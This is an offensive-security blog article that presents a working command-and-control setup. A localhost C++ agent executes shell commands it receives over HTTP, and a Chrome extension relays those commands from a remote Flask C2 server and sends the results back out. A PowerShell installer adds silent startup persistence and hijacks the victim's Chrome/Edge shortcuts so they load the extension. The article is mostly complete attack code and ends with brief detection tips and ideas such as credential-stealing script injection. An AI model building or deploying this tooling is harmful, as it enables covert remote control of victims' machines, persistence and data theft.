Introduction
Command and Control (C2) communication is at the heart of modern offensive security and red teaming operations. In this article, we showcase a stealthy yet effective C2 technique that leverages a combination of a local HTTP server and a Chrome extension to create a flexible command relay mechanism.
This article details the implementation, capabilities, and trade-offs of this technique. Offering insight into both its utility for attackers and its implications for defenders.
Proof Of Concept
Overview
The setup consists of two key components:
- Local agent:Â a lightweight C++ HTTP server running onÂ
*127.0.0.1:8081*, capable of executing system commands passed via HTTP GET parameters and returning the output as plain text. - Chrome extension: configured with background script logic that acts as a communication bridge between a remote C2 server and the local agent. The extension fetches commands from the remote server, forwards them to the local agent for execution, and then exfiltrates the results back to the C2.
- Remote Server (C2): a VPS running a Flask server pushes commands and captures results sent by the chrome extension over HTTPS with interactive shell.
By embedding this logic in a browser extension, the technique can blend into normal user activity, evade basic detection mechanisms.
C2 Over Chrome extension relay
Local Agent: C++ lightweight HTTP server
The HTTP server running on *127.0.0.1:8081 *and runs command passed in GET requests.
http://localhost:8081/?cmd=<COMMAND>
main.cpp
#include "civetweb.h"
#include <string>
#include <iostream>
#include <sstream>
#include <cstdio>
#include <memory>
#include <array>
#include <cstring>
// Execute command and capture output
std::string exec(const std::string& cmd) {
std::array<char, 128> buffer;
std::string result;
#if defined(_WIN32)
std::unique_ptr<FILE, decltype(&_pclose)> pipe(_popen(cmd.c_str(), "r"), _pclose);
#else
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd.c_str(), "r"), pclose);
#endif
if (!pipe) {
return "Error: Failed to execute command.";
}
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) {
result += buffer.data();
}
return result;
}
// HTTP request handler
int request_handler(struct mg_connection* conn, void* /*cbdata*/) {
const struct mg_request_info* req_info = mg_get_request_info(conn);
// Check for GET method
if (strcmp(req_info->request_method, "GET") != 0) {
mg_printf(conn, "HTTP/1.1 405 Method Not Allowed\r\n\r\n");
return 1;
}
std::string uri(req_info->local_uri);
// Check base URL prefix "/agent/cmd"
const std::string base_prefix = "/agent/";
if (uri.compare(0, base_prefix.size(), base_prefix) != 0) {
mg_printf(conn, "HTTP/1.1 404 Not Found\r\n\r\n");
return 1;
}
// Parse query string for 'cmd' parameter
const char* query = req_info->query_string ? req_info->query_string : "";
std::string query_str(query);
const std::string param = "cmd=";
size_t pos = query_str.find(param);
if (pos == std::string::npos) {
mg_printf(conn, "HTTP/1.1 400 Bad Request\r\nContent-Type: text/plain\r\n\r\nMissing 'cmd' parameter\n");
return 1;
}
std::string cmd = query_str.substr(pos + param.length());
// URL decode the command
char decoded_cmd[1024];
mg_url_decode(cmd.c_str(), cmd.length(), decoded_cmd, sizeof(decoded_cmd), 1);
std::string decoded(decoded_cmd);
// Execute the command
std::string output = exec(decoded);
// Return output
mg_printf(conn,
"HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nContent-Length: %zu\r\n\r\n%s",
output.size(),
output.c_str());
return 1;
}
int main() {
const char* options[] = {
"document_root", ".",
"listening_ports", "8081",
nullptr
};
struct mg_context* ctx = mg_start(nullptr, nullptr, options);
if (ctx == nullptr) {
std::cerr << "Failed to start server." << std::endl;
return 1;
}
// Register the request handler for specific route
mg_set_request_handler(ctx, "/agent/", request_handler, nullptr);
std::cout << "Server started on port 8081" << std::endl;
std::cout << "Use URL like: http://localhost:8081/agent/cmd?=your_command" << std::endl;
std::cout << "Press Enter to quit." << std::endl;
getchar();
mg_stop(ctx);
return 0;
}
The web agent is based on the CivetWeb project. Civetweb Needs to be properly imported. We provide the full Code::Blocks project at the end of the article.After compiling the source code. We run agent.exe and we get a functional webserver running commands for us.
Local agent in action
Relay: Chrome extension
The Chrome extension acts as the critical relay between the remote command-and-control server and the local agent running on 127.0.0.1:8081 . It does so by periodically polling the remote server for new commands, forwarding them to the local agent for execution, and then uploading the results back to the C2 server, all in the background. The extension source code is made of two files: manifest.json
{
"manifest_version": 3,
"name": "Localhost Relay Client",
"version": "1.1",
"description": "Relays data between localhost and a remote server.",
"permissions": ["alarms"],
"host_permissions": [
"http://localhost:8081/*",
"https://<C2_URL#62;/*"
],
"background": {
"service_worker": "background.js"
},
"action": {
"default_title": "Relay Client"
}
}
background.js
const BASE_LOCAL = "http://localhost:8081/agent/";
const BASE_REMOTE = "https://<C2_URL#62;/";
let lastCommand = "";
async function relayLoop() {
try {
const res = await fetch(`${BASE_LOCAL}?cmd=hostname`);
const hostname = await res.text();
// POST hostname as heartbeat, and receive pending command
const cmdRes = await fetch(`${BASE_REMOTE}/down`, {
method: "POST",
headers: { "Content-Type": "text/plain" },
body: hostname
});
if (cmdRes.status === 204) {
console.log("No command to execute");
return;
}
if (!cmdRes.ok) {
console.warn("Failed to get command:", cmdRes.status);
return;
}
const cmd = await cmdRes.text();
if (cmd && cmd !== lastCommand) {
lastCommand = cmd;
const localRes = await fetch(`${BASE_LOCAL}?cmd=${encodeURIComponent(cmd)}`);
const output = await localRes.text();
await fetch(`${BASE_REMOTE}/up`, {
method: "POST",
headers: { "Content-Type": "text/plain" },
body: output
});
console.log("Executed:", cmd);
}
} catch (e) {
console.error("Relay error:", e);
}
}
chrome.runtime.onStartup.addListener(() => {
relayLoop();
});
chrome.alarms.create("relay", { periodInMinutes: 0.083 });
chrome.alarms.onAlarm.addListener((alarm) => {
if (alarm.name === "relay") {
relayLoop();
}
});
Now the extension can be loaded manually in the browser (unpacked) for testing. However, it will have errors because the C2 is not yet up.
C2: Flask Server
First of all we need a domain name for the C2 server. We can simply use the public DNS assigned to the VPS. Or Set up an A record pointing to the server’s IP address. Here is the server source code (Python). It is running on Debug mode. c2.py
from flask import Flask, request, jsonify, render_template_string
from datetime import datetime
app = Flask(__name__)
# State tracking
client = {
"hostname": "UNKNOWN",
"last_seen": None
}
command_state = {
"last_command": "",
"executed": True
}
log = [] # [{command, response, timestamp}]
# === ROUTES ===
@app.route("/down", methods=["POST"])
def receive_heartbeat_and_send_command():
hostname = request.data.decode("utf-8").strip()
client["hostname"] = hostname
client["last_seen"] = datetime.now()
if not command_state["executed"]:
return command_state["last_command"]
return "", 204
@app.route("/up", methods=["POST"])
def receive_output():
output = request.data.decode("utf-8").strip()
log.append({
"timestamp": datetime.now(),
"hostname": client["hostname"],
"command": command_state["last_command"],
"response": output
})
command_state["executed"] = True
return "OK", 200
@app.route("/set-command", methods=["POST"])
def set_command():
cmd = request.form.get("command", "").strip()
if cmd:
command_state["last_command"] = cmd
command_state["executed"] = False
return "OK", 200
@app.route("/logs", methods=["GET"])
def get_logs():
return jsonify([
{
"hostname": entry["hostname"],
"command": entry["command"],
"response": entry["response"],
"timestamp": entry["timestamp"].strftime("%Y-%m-%d %H:%M:%S")
}
for entry in log
])
@app.route("/", methods=["GET"])
def dashboard():
return render_template_string(DASHBOARD_TEMPLATE, hostname=client["hostname"])
# === HTML TEMPLATE ===
DASHBOARD_TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>C2 Dashboard</title>
<style>
body {
background: black;
color: #00ff00;
font-family: monospace;
padding: 20px;
}
#log {
height: 400px;
overflow-y: auto;
border: 1px solid #333;
padding: 10px;
margin-bottom: 10px;
background: black;
white-space: pre-wrap;
}
input {
background: black;
color: #00ff00;
border: 1px solid #00ff00;
font-family: monospace;
width: 80%;
}
button {
background: #00ff00;
color: black;
border: none;
padding: 5px 10px;
}
</style>
</head>
<body>
<h2>{{ hostname }}</h2>
Loading...
<form id="command-form">
<input type="text" name="command" id="command" autocomplete="off" placeholder="type command here..." />
<button type="submit">Send</button>
</form>
<script>
function updateLog() {
fetch("/logs")
.then(res => res.json())
.then(data => {
const logDiv = document.getElementById("log");
logDiv.textContent = data.map(entry =>
`${entry.hostname}>${entry.command}\n${entry.response}\n`
).join("\\n");
});
}
document.getElementById("command-form").addEventListener("submit", function(e) {
e.preventDefault();
const input = document.getElementById("command");
const cmd = input.value.trim();
if (!cmd) return;
fetch("/set-command", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "command=" + encodeURIComponent(cmd)
}).then(() => {
input.value = "";
updateLog();
});
});
// Initial + periodic refresh
updateLog();
setInterval(updateLog, 5000);
</script>
</body>
</html>
"""
if __name__ == "__main__":
app.run(debug=True, port=5000)
We run the script then configure a new site on nginx.Nginx should act as a reverse proxy to 127.0.0.1:5000 (proxy_pass).Please note that it is required to install a trusted TLS Certificate. Otherwise, chrome will block connections to the C2. That’s why we are going to use Let’s Encrypt with Nginx. After setting up Nginx, we can use certbotto generate the TLS certificate for us. The Final Nginx will look something like this. Nginx site configuration
server {
server_name <C2-PUBLIC-DNS>;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
listen 443 ssl; # managed by Certbot
ssl_certificate /etc/letsencrypt/live/<C2-PUBLIC-DNS>/fullchain.pem; # managed by Certbot
ssl_certificate_key /etc/letsencrypt/live/<C2-PUBLIC-DNS>/privkey.pem; # managed by Certbot
include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot
}
server {
if ($host = <C2-PUBLIC-DNS>) {
return 301 https://$host$request_uri;
} # managed by Certbot
listen 80;
server_name <C2-PUBLIC-DNS>;
return 404; # managed by Certbot
}
Now the C2 server is up and running !
Putting things together
Quick test
Now we have all of the three requirements set up and ready for testing. We can proceed:
- Open the C2 web UI on the browser: https:///
- Run the local agent
- Load the unpacked extension manually to chrome (Just testing for now)
- Start typing commands into the Interactive shell from the C2 web UI
As we can see in the following screenshot. We have access to command prompt. And the extension is communicating with the C2:
C2 in action: Interactive shell through relay (Chrome extension)
Automatically loading the extension
To convince the victim to manually load an unpacked extension to their browser, one must be a master at social engineering, overlooking the fact that the task may be complicated for the target.We can use the —load-extension switch in the command line to load the extension into the browser.
chrome.exe --load-extension=C:\path\to\extension
The limits of this approach are:
- Extension must be unpacked
- The extension is not loaded globally; it is only loaded for that specific running instance of Chrome
- The —load-extension switch was removed since version 136 of chrome.
Commit: —load-extension switch removed from chrome
The Advantages of this approach are:
- It does not require activating the Developer mode manually
- Can be used programmatically. No UI interactions required
Most browser are set to update automatically. Why don’t we just copy the BYOVD guys and Bring Our Own “Vulnerable” Browser ? (BYOVB: Cool name right?). We have downloaded a portable older version of chromium (Zip) that still has the switch “feature”.We have created a PowerShell script that orchestrates the entire attack. It does the following:
- Creates directories Browser and Server under %APPDATA%
- Unzips chrome.zip and relay.zip to %APPDATA%\Browser
- Unzips agent.zip to %APPDATA%\Server
- Drops a VBS script to the Startup Folder to run agent.exe silently on boot
- Looks for all Chrome or MS Edge shortcuts and tampers with their target property to make them point to C:\Users\AppData\Roaming\Browser\chrome-win\chrome.exe —load-extension=C:\Users\AppData\Roaming\Browser\Relay
setup.ps1
# Define paths
$browserPath = Join-Path $env:APPDATA 'Browser'
$serverPath = Join-Path $env:APPDATA 'Server'
$startupFolder = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
$vbsFilePath = Join-Path $startupFolder 'run-agent.vbs'
# Create directories if they don't exist
New-Item -Path $browserPath -ItemType Directory -Force | Out-Null
New-Item -Path $serverPath -ItemType Directory -Force | Out-Null
# Unzip files
Expand-Archive -Path "chrome.zip" -DestinationPath $browserPath -Force
Expand-Archive -Path "relay.zip" -DestinationPath $browserPath -Force
Expand-Archive -Path "agent.zip" -DestinationPath $serverPath -Force
# VBS script content to run agent.exe silently
$vbsContent = @'
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run """" & WScript.CreateObject("WScript.Shell").ExpandEnvironmentStrings("%APPDATA%") & "\Server\agent.exe""", 0, False
'@
# Write VBS to Startup folder
Set-Content -Path $vbsFilePath -Value $vbsContent -Encoding ASCII
Write-Host "Setup complete. Agent will run in the background on next login."
# Define target executable and extension directory
$customChrome = "$env:APPDATA\Browser\chrome-win\chrome.exe"
$extensionDir = "$env:APPDATA\Browser\Relay"
# Locations to scan
$shortcutPaths = @(
"$env:PUBLIC\Desktop",
"$env:USERPROFILE\Desktop",
"$env:APPDATA\Microsoft\Windows\Start Menu\Programs",
"$env:ProgramData\Microsoft\Windows\Start Menu\Programs"
)
# Create a WScript.Shell COM object
$ws = New-Object -ComObject WScript.Shell
foreach ($path in $shortcutPaths) {
if (-Not (Test-Path $path)) { continue }
Get-ChildItem -Path $path -Filter *.lnk -Recurse -ErrorAction SilentlyContinue | ForEach-Object {
try {
$shortcut = $ws.CreateShortcut($_.FullName)
# Check if the shortcut points to Chrome or Edge
if ($shortcut.TargetPath -match "chrome.exe" -or $shortcut.TargetPath -match "msedge.exe") {
Write-Host "Modifying shortcut:" $_.FullName
Write-Host $customChrome
Write-Host $extensionDir
# Replace with custom Chromium build
$shortcut.TargetPath = $customChrome
$shortcut.Arguments = "--load-extension=`"$extensionDir`""
$shortcut.Save()
}
} catch {
Write-Warning "Failed to process shortcut: $_.FullName"
}
}
}
The full stage looks like the following:
Components of the Paylaod
Let’s run setup.ps1!
Running setup.ps1
In this simulated environment we have MS Edge as the only and the default browser. The Desktop shortcut and the Start Menu one have been successfully modified to point to our Chromium and load the malicious extension.
MS Edge shortcut on the Desktop was Modified
Let’s go ahead and run MS Edge from the Start Menu.
MS Edge shortcut in the Start Menu was Modified
As you can see. the modified shortcut still has MS Edge Icon but it points to chromium with —load-extension switch pointing to our extension. When the user clicks on MS Egde. Chromium starts instead, with out extension loaded and active.
Chromium started with the relay extension loaded
Conclusion
Detection
This technique can be detected at multiple levels. However, combined with other techniques it may get stealthier and more complicated to detect.
- Detect the load extension switch using windows event logs, Sysmon or EDR logs
- Monitor browser shortcut bulk modification or deletion then creation using windows event logs, Sysmon or EDR logs
- Monitor the presence of command line prompts in the web traffic using proxy logs
Improvements
Enhance stealth:
- Combine with other C2 techniques like Abusing Microsoft Blob storageC2 over Google sheet. This way the traffic blends in with legitimate traffic and will be harder to detect.
- Masquerade the extension (Icon, name, description…) as a legitimate one that blends in with the C2 technique. For example, One Drive or Google Drive extension
Enhance capabilities:
- Inject JS to websites to collect credentials (Info Stealer)
- Force redirect and download on demand.
- First stage for payload delivery.
Challenges
- This is a relay and not a tunnel. tunneling capabilities are not possible
- Overwriting shortcuts may require admin privileges: We can remove and replace instead
- Target user may realize that their main browser was replaced or tampered with
- Older version of chrome is required (BYOVB). Relatively big file size (over 200MB)
Source Code
Source code is available on our GitHub Repo.Download older Chromium versions